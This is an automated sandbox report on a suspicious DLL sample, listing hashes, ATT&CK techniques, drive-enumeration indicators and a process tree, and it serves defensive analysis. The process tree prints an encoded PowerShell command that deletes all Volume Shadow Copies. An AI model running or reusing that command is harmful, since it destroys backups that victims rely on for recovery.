d8cca1666aa4989857dd44bfa0ec14571527be9a3a72dae519ff67a2b8f4de2e

General

Target
d8cca1666aa4989857dd44bfa0ec14571527be9a3a72dae519ff67a2b8f4de2e.dll
Size 164KB
Sample220523-3tenbsaaa3
SHA256 d8cca1666aa4989857dd44bfa0ec14571527be9a3a72dae519ff67a2b8f4de2e
MD5 4ddc4c10f348e34445cae6ebac80bf87
SHA1 54fa2d553b774fa273e254ea8a9484f17a4b8747
SHA512 d91730d1e1bcaa5e58b1a9cebee04d2634d80094ae953e3c329acb5476960bdb79dc0a3bc5b8da2836c3646a90ba91d5126b47b5e83f88dab7b05c7650700c58
MD5 SHA1 SHA512

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2684	rundll32.exe
2684	rundll32.exe
2396	powershell.exe
2396	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2684	rundll32.exe
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeBackupPrivilege	4184	vssvc.exe
Token: SeRestorePrivilege	4184	vssvc.exe
Token: SeAuditPrivilege	4184	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4496 wrote to memory of 2684	4496	rundll32.exe	79
PID 4496 wrote to memory of 2684	4496	rundll32.exe	79
PID 4496 wrote to memory of 2684	4496	rundll32.exe	79
PID 2684 wrote to memory of 2396	2684	rundll32.exe	83
PID 2684 wrote to memory of 2396	2684	rundll32.exe	83

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\d8cca1666aa4989857dd44bfa0ec14571527be9a3a72dae519ff67a2b8f4de2e.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:4496
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\d8cca1666aa4989857dd44bfa0ec14571527be9a3a72dae519ff67a2b8f4de2e.dll,#1
  2⤵
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2396

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:4572

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4184

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2396-132-0x00000207C6E60000-0x00000207C6E82000-memory.dmp

Download

memory/2396-133-0x00007FF9AD060000-0x00007FF9ADB21000-memory.dmp